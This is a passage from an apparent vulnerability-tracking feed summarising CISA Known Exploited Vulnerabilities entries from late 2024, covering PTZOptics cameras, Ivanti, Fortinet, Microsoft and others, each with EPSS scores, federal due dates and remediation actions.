EPSS 91.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-5910&date=2026-10-25).
Sources:
CISA KEV entry CVE-2024-5910: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-5910&date=2026-10-25
CISA added this entry on 2024-11-07. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 7, 2024; federal due date Nov 28, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### PTZOptics PT30X-SDI/NDI Cameras Authentication Bypass Vulnerability
https://kevwire.com/record/CVE-2024-8956
PTZOptics PT30X-SDI/NDI Cameras Authentication Bypass Vulnerability (Nov 4, 2024).
PTZOptics PT30X-SDI/NDI cameras contain an insecure direct object reference (IDOR) vulnerability that allows a remote, attacker to bypass authentication for the /cgi-bin/param.cgi CGI script. If combined with CVE-2024-8957, this can lead to remote code execution as root.
EPSS 58.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-8956&date=2026-10-25).
Sources:
CISA KEV entry CVE-2024-8956: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-8956&date=2026-10-25
CISA added this entry on 2024-11-04. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 4, 2024; federal due date Nov 25, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### PTZOptics PT30X-SDI/NDI Cameras OS Command Injection Vulnerability
https://kevwire.com/record/CVE-2024-8957
PTZOptics PT30X-SDI/NDI Cameras OS Command Injection Vulnerability (Nov 4, 2024).
PTZOptics PT30X-SDI/NDI cameras contain an OS command injection vulnerability that allows a remote, authenticated attacker to escalate privileges to root via a crafted payload with the ntp_addr parameter of the /cgi-bin/param.cgi CGI script.
EPSS 79.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-8957&date=2026-10-25).
Sources:
CISA KEV entry CVE-2024-8957: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-8957&date=2026-10-25
CISA added this entry on 2024-11-04. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 4, 2024; federal due date Nov 25, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### RoundCube Webmail Cross-Site Scripting (XSS) Vulnerability
https://kevwire.com/record/CVE-2024-37383
RoundCube Webmail Cross-Site Scripting (XSS) Vulnerability (Oct 24, 2024).
RoundCube Webmail contains a cross-site scripting (XSS) vulnerability in the handling of SVG animate attributes that allows a remote attacker to run malicious JavaScript code.
EPSS 74.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-37383&date=2026-10-25).
Sources:
CISA KEV entry CVE-2024-37383: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-37383&date=2026-10-25
CISA added this entry on 2024-10-24. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Oct 24, 2024; federal due date Nov 14, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Cisco ASA and FTD Denial-of-Service Vulnerability
https://kevwire.com/record/CVE-2024-20481
Cisco ASA and FTD Denial-of-Service Vulnerability (Oct 24, 2024).
Cisco Adaptive Security Appliance (ASA) and Firepower Threat Defense (FTD) contain a missing release of resource after effective lifetime vulnerability that could allow an unauthenticated, remote attacker to cause a denial-of-service (DoS) of the RAVPN service.
EPSS 15.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-20481&date=2026-10-25).
Sources:
CISA KEV entry CVE-2024-20481: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-20481&date=2026-10-25
CISA added this entry on 2024-10-24. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Oct 24, 2024; federal due date Nov 14, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft SharePoint Deserialization Vulnerability
https://kevwire.com/record/CVE-2024-38094
Microsoft SharePoint Deserialization Vulnerability (Oct 22, 2024).
Microsoft SharePoint contains a deserialization vulnerability that allows for remote code execution.
EPSS 50.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-38094&date=2026-10-25).
Sources:
CISA KEV entry CVE-2024-38094: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-38094&date=2026-10-25
CISA added this entry on 2024-10-22. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Oct 22, 2024; federal due date Nov 12, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### ScienceLogic SL1 Unspecified Vulnerability
https://kevwire.com/record/CVE-2024-9537
ScienceLogic SL1 Unspecified Vulnerability (Oct 21, 2024).
ScienceLogic SL1 (formerly EM7) is affected by an unspecified vulnerability involving an unspecified third-party component.
EPSS 3.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-9537&date=2026-10-25).
Sources:
CISA KEV entry CVE-2024-9537: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-9537&date=2026-10-25
CISA added this entry on 2024-10-21. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Oct 21, 2024; federal due date Nov 11, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Veeam Backup and Replication Deserialization Vulnerability
https://kevwire.com/record/CVE-2024-40711
Veeam Backup and Replication Deserialization Vulnerability (Oct 17, 2024).
Veeam Backup and Replication contains a deserialization vulnerability allowing an unauthenticated user to perform remote code execution.
EPSS 90.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-40711&date=2026-10-25).
Sources:
CISA KEV entry CVE-2024-40711: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-40711&date=2026-10-25
CISA added this entry on 2024-10-17. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Oct 17, 2024; federal due date Nov 7, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### SolarWinds Web Help Desk Hardcoded Credential Vulnerability
https://kevwire.com/record/CVE-2024-28987
SolarWinds Web Help Desk Hardcoded Credential Vulnerability (Oct 15, 2024).
SolarWinds Web Help Desk contains a hardcoded credential vulnerability that could allow a remote, unauthenticated user to access internal functionality and modify data.
EPSS 93.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-28987&date=2026-10-25).
Sources:
CISA KEV entry CVE-2024-28987: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-28987&date=2026-10-25
CISA added this entry on 2024-10-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Oct 15, 2024; federal due date Nov 5, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Mozilla Firefox Use-After-Free Vulnerability
https://kevwire.com/record/CVE-2024-9680
Mozilla Firefox Use-After-Free Vulnerability (Oct 15, 2024).
Mozilla Firefox and Firefox ESR contain a use-after-free vulnerability in Animation timelines that allows for code execution in the content process.
EPSS 23.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-9680&date=2026-10-25).
Sources:
CISA KEV entry CVE-2024-9680: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-9680&date=2026-10-25
CISA added this entry on 2024-10-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Oct 15, 2024; federal due date Nov 5, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows Kernel TOCTOU Race Condition Vulnerability
https://kevwire.com/record/CVE-2024-30088
Microsoft Windows Kernel TOCTOU Race Condition Vulnerability (Oct 15, 2024).
Microsoft Windows Kernel contains a time-of-check to time-of-use (TOCTOU) race condition vulnerability that could allow for privilege escalation.
EPSS 68.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-30088&date=2026-10-25).
Sources:
CISA KEV entry CVE-2024-30088: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-30088&date=2026-10-25
CISA added this entry on 2024-10-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Oct 15, 2024; federal due date Nov 5, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Ivanti Cloud Services Appliance (CSA) OS Command Injection Vulnerability
https://kevwire.com/record/CVE-2024-9380
Ivanti Cloud Services Appliance (CSA) OS Command Injection Vulnerability (Oct 9, 2024).
Ivanti Cloud Services Appliance (CSA) contains an OS command injection vulnerability in the administrative console which can allow an authenticated attacker with application admin privileges to pass commands to the underlying OS.
EPSS 58.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-9380&date=2026-10-25).
Sources:
CISA KEV entry CVE-2024-9380: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-9380&date=2026-10-25
CISA added this entry on 2024-10-09. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: As Ivanti CSA 4.6.x has reached End-of-Life status, users are urged to remove CSA 4.6.x from service or upgrade to the 5.0.x line, or later, of supported solution.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Oct 9, 2024; federal due date Oct 30, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Ivanti Cloud Services Appliance (CSA) SQL Injection Vulnerability
https://kevwire.com/record/CVE-2024-9379
Ivanti Cloud Services Appliance (CSA) SQL Injection Vulnerability (Oct 9, 2024).
Ivanti Cloud Services Appliance (CSA) contains a SQL injection vulnerability in the admin web console in versions prior to 5.0.2, which can allow a remote attacker authenticated as administrator to run arbitrary SQL statements.
EPSS 44.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-9379&date=2026-10-25).
Sources:
CISA KEV entry CVE-2024-9379: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-9379&date=2026-10-25
CISA added this entry on 2024-10-09. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: As Ivanti CSA 4.6.x has reached End-of-Life status, users are urged to remove CSA 4.6.x from service or upgrade to the 5.0.x line, or later, of supported solution.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Oct 9, 2024; federal due date Oct 30, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Fortinet Multiple Products Format String Vulnerability
https://kevwire.com/record/CVE-2024-23113
Fortinet Multiple Products Format String Vulnerability (Oct 9, 2024).
Fortinet FortiOS, FortiPAM, FortiProxy, and FortiWeb contain a format string vulnerability that allows a remote, unauthenticated attacker to execute arbitrary code or commands via specially crafted requests.
EPSS 61.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-23113&date=2026-10-25).
Sources:
CISA KEV entry CVE-2024-23113: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-23113&date=2026-10-25
CISA added this entry on 2024-10-09. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Oct 9, 2024; federal due date Oct 30, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows MSHTML Platform Spoofing Vulnerability
https://kevwire.com/record/CVE-2024-43573
Microsoft Windows MSHTML Platform Spoofing Vulnerability (Oct 8, 2024).
Microsoft Windows MSHTML Platform contains an unspecified spoofing vulnerability which can lead to a loss of confidentiality.
EPSS 46.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-43573&date=2026-10-25).
Sources:
CISA KEV entry CVE-2024-43573: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-43573&date=2026-10-25
CISA added this entry on 2024-10-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Oct 8, 2024; federal due date Oct 29, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows Management Console Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2024-43572
Microsoft Windows Management Console Remote Code Execution Vulnerability (Oct 8, 2024).
Microsoft Windows Management Console contains unspecified vulnerability that allows for remote code execution.
EPSS 66.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-43572&date=2026-10-25).
Sources:
CISA KEV entry CVE-2024-43572: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-43572&date=2026-10-25
CISA added this entry on 2024-10-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Oct 8, 2024; federal due date Oct 29, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Qualcomm Multiple Chipsets Use-After-Free Vulnerability
https://kevwire.com/record/CVE-2024-43047
Qualcomm Multiple Chipsets Use-After-Free Vulnerability (Oct 8, 2024).
Multiple Qualcomm chipsets contain a use-after-free vulnerability due to memory corruption in DSP Services while maintaining memory maps of HLOS memory.
EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-43047&date=2026-10-25).
Sources:
CISA KEV entry CVE-2024-43047: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-43047&date=2026-10-25
CISA added this entry on 2024-10-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply remediations or mitigations per vendor instructions or discontinue use of the product if remediation or mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Oct 8, 2024; federal due date Oct 29, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Synacor Zimbra Collaboration Suite (ZCS) Command Execution Vulnerability
https://kevwire.com/record/CVE-2024-45519
Synacor Zimbra Collaboration Suite (ZCS) Command Execution Vulnerability (Oct 3, 2024).
Synacor Zimbra Collaboration Suite (ZCS) contains an unspecified vulnerability in the postjournal service that may allow an unauthenticated user to execute commands.
EPSS 99.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-45519&date=2026-10-25).
Sources:
CISA KEV entry CVE-2024-45519: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-45519&date=2026-10-25
CISA added this entry on 2024-10-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Oct 3, 2024; federal due date Oct 24, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Ivanti Endpoint Manager (EPM) SQL Injection Vulnerability
https://kevwire.com/record/CVE-2024-29824
Ivanti Endpoint Manager (EPM) SQL Injection Vulnerability (Oct 2, 2024).
Ivanti Endpoint Manager (EPM) contains a SQL injection vulnerability in Core server that allows an unauthenticated attacker within the same network to execute arbitrary code.
EPSS 99.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-29824&date=2026-10-25).
Sources:
CISA KEV entry CVE-2024-29824: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-29824&date=2026-10-25
CISA added this entry on 2024-10-02. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Oct 2, 2024; federal due date Oct 23, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### SAP Commerce Cloud Deserialization of Untrusted Data Vulnerability
https://kevwire.com/record/CVE-2019-0344
SAP Commerce Cloud Deserialization of Untrusted Data Vulnerability (Sep 30, 2024).
SAP Commerce Cloud (formerly known as Hybris) contains a deserialization of untrusted data vulnerability within the mediaconversion and virtualjdbc extension that allows for code injection.
EPSS 7.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-0344&date=2026-10-25).
Sources:
CISA KEV entry CVE-2019-0344: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-0344&date=2026-10-25
CISA added this entry on 2024-09-30. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Sep 30, 2024; federal due date Oct 21, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### DrayTek Multiple Vigor Routers OS Command Injection Vulnerability
https://kevwire.com/record/CVE-2020-15415
DrayTek Multiple Vigor Routers OS Command Injection Vulnerability (Sep 30, 2024).
DrayTek Vigor3900, Vigor2960, and Vigor300B devices contain an OS command injection vulnerability in cgi-bin/mainfunction.cgi/cvmcfgupload that allows for remote code execution via shell metacharacters in a filename when the text/x-python-script content type is used.
EPSS 84.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-15415&date=2026-10-25).
Sources:
CISA KEV entry CVE-2020-15415: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-15415&date=2026-10-25
CISA added this entry on 2024-09-30. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Sep 30, 2024; federal due date Oct 21, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### D-Link DIR-820 Router OS Command Injection Vulnerability
https://kevwire.com/record/CVE-2023-25280
D-Link DIR-820 Router OS Command Injection Vulnerability (Sep 30, 2024).
D-Link DIR-820 routers contain an OS command injection vulnerability that allows a remote, unauthenticated attacker to escalate privileges to root via a crafted payload with the ping_addr parameter to ping.ccp.
EPSS 97.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-25280&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-25280: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-25280&date=2026-10-25
CISA added this entry on 2024-09-30. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: The impacted product is end-of-life (EoL) and/or end-of-service (EoS). Users should discontinue utilization of the product.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Sep 30, 2024; federal due date Oct 21, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Ivanti Virtual Traffic Manager Authentication Bypass Vulnerability
https://kevwire.com/record/CVE-2024-7593
Ivanti Virtual Traffic Manager Authentication Bypass Vulnerability (Sep 24, 2024).
Ivanti Virtual Traffic Manager contains an authentication bypass vulnerability that allows a remote, unauthenticated attacker to create a chosen administrator account.
EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-7593&date=2026-10-25).
Sources:
CISA KEV entry CVE-2024-7593: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-7593&date=2026-10-25
CISA added this entry on 2024-09-24. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Sep 24, 2024; federal due date Oct 15, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Ivanti Cloud Services Appliance (CSA) Path Traversal Vulnerability
https://kevwire.com/record/CVE-2024-8963
Ivanti Cloud Services Appliance (CSA) Path Traversal Vulnerability (Sep 19, 2024).
Ivanti Cloud Services Appliance (CSA) contains a path traversal vulnerability that could allow a remote, unauthenticated attacker to access restricted functionality. If CVE-2024-8963 is used in conjunction with CVE-2024-8190, an attacker could bypass admin authentication and execute arbitrary commands on the appliance.
EPSS 98.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-8963&date=2026-10-25).
Sources:
CISA KEV entry CVE-2024-8963: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-8963&date=2026-10-25
CISA added this entry on 2024-09-19. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: As Ivanti CSA has reached End-of-Life status, users are urged to remove CSA 4.6.x from service or upgrade to the 5.0.x line of supported solutions, as future vulnerabilities on the 4.6.x version of CSA are unlikely to receive security updates.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Sep 19, 2024; federal due date Oct 10, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Oracle WebLogic Server Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2020-14644
Oracle WebLogic Server Remote Code Execution Vulnerability (Sep 18, 2024).
Oracle WebLogic Server, a product within the Fusion Middleware suite, contains a deserialization vulnerability. Unauthenticated attackers with network access via T3 or IIOP can exploit this vulnerability to achieve remote code execution.
EPSS 94.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-14644&date=2026-10-25).
Sources:
CISA KEV entry CVE-2020-14644: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-14644&date=2026-10-25
CISA added this entry on 2024-09-18. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Sep 18, 2024; federal due date Oct 9, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Oracle ADF Faces Deserialization of Untrusted Data Vulnerability
https://kevwire.com/record/CVE-2022-21445
Oracle ADF Faces Deserialization of Untrusted Data Vulnerability (Sep 18, 2024).
